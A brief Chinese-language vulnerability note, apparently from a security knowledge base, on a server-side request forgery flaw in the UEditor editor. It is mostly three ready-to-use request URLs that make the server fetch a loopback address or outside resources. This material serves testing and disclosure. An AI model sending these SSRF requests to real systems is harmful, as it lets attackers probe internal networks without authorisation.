ueditor ssrf

一、漏洞简介

二、漏洞影响

三、复现过程

存在漏洞路径:

/ueditor/jsp/getRemoteImage.jsp?upfile=http://127.0.0.1/favicon.ico?.jpg

/ueditor/jsp/controller.jsp?action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif

/ueditor/php/controller.php?action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif

存在就会抓取成功、也可以抓取外网的测试
零组资料文库 all right reserved,powered by 0-sec.org未经授权禁止转载 2019-11-01 16:10:48

results matching ""

    No results matching ""